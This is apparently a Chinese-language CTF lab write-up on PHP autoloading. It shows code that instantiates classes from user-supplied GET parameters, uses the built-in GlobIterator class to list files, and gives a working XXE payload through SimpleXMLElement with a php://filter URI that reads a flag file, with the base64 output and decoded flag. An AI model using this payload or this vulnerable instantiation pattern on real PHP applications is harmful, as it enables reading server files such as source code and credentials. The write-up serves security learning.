PHP-CTF-Docker /day3

魔术方法__autoload了解:

这是一个自动加载函数,在PHP5中,当我们实例化一个未定义的类时,就会触发此函数。

文件:shuchu.php

<?php 
class shuchu {
    function print_message(){
        echo 'message is printed';
    }
}
?>

文件:index.php

<?php
function __autoload($class){
    $file = $class.'.php';
    if(is_file($file)){
        require_once($file);
    }
}
$class_obj = new shuchu();
$class_obj->print_message();
?>

得到结果:

执行了类对象shuchu中的print_message函数,可以得知通过魔术方法成功的将shuchu.php包含了。

执行过程:

在实例化shuchu时,由于未对类shuchu定义,所以自动执行__autoload函数,然后将函数名传入,将shuchu.php文件包含,然后成功执行了print_message函数,输出了message is printed。

 

代码:

<?php
class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=>$value)
        echo $key.'=>'.$value.'<br>';
}

 

代码分析:

1、检测是否有get传入name、param、param2参数,然后分别赋值给classname、param、param2

2、spl_autoload_register,对没有进行定义的类进行的操作(和__autoload有相似的功能)

3、输入不存在的类就会输出404

4、如果类存在,则将其输出

 

php内置类 文件搜索:

GlobIterator() (PHP 5 >= 5.3.0, PHP 7, PHP 8) //目录迭代器

public GlobIterator::__construct ( string $pattern , int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO )

参数:pattern()  //glob — 寻找与模式匹配的文件路径

参数flags;   //感觉区别不大

const int CURRENT_AS_PATHNAME = 32 ;
const int CURRENT_AS_FILEINFO = 0 ;
const int CURRENT_AS_SELF = 16 ;
const int CURRENT_MODE_MASK = 240 ;
const int KEY_AS_PATHNAME = 0 ;
const int KEY_AS_FILENAME = 256 ;
const int FOLLOW_SYMLINKS = 512 ;
const int KEY_MODE_MASK = 3840 ;
const int NEW_CURRENT_AND_KEY = 256 ;
const int SKIP_DOTS = 4096 ;
const int UNIX_PATHS = 8192 ;

 

查看同目录文件:

 

 得到文件名f1agi3hEre.php

 

php内置类读取文件 (结合xxe漏洞读取外部文件)

SimpleXMLElement()  (PHP 5, PHP 7, PHP 8)

public SimpleXMLElement::__construct ( string $data , int $options = 0 , bool $dataIsURL = false , string $namespaceOrPrefix = "" , bool $isPrefix = false )

 

options使用这个预定义常量才会导致xxe漏洞

 

 

读取f1agi3hEre.ph文件:

payload:

?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/day3/f1agi3hEre.php">]><x>%26xxe;</x>&param2=16

 

 

 

PD9waHAKJGZsYWcgPSAiSFJDVEZ7WDMzX1cxdEhfUzFtcGwzWG1sM2wzbTNudH0iOwo/Pg==

解码:HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}

 

posted @ 2021-05-26 20:49  1jzz  阅读(272)  评论(0编辑  收藏  举报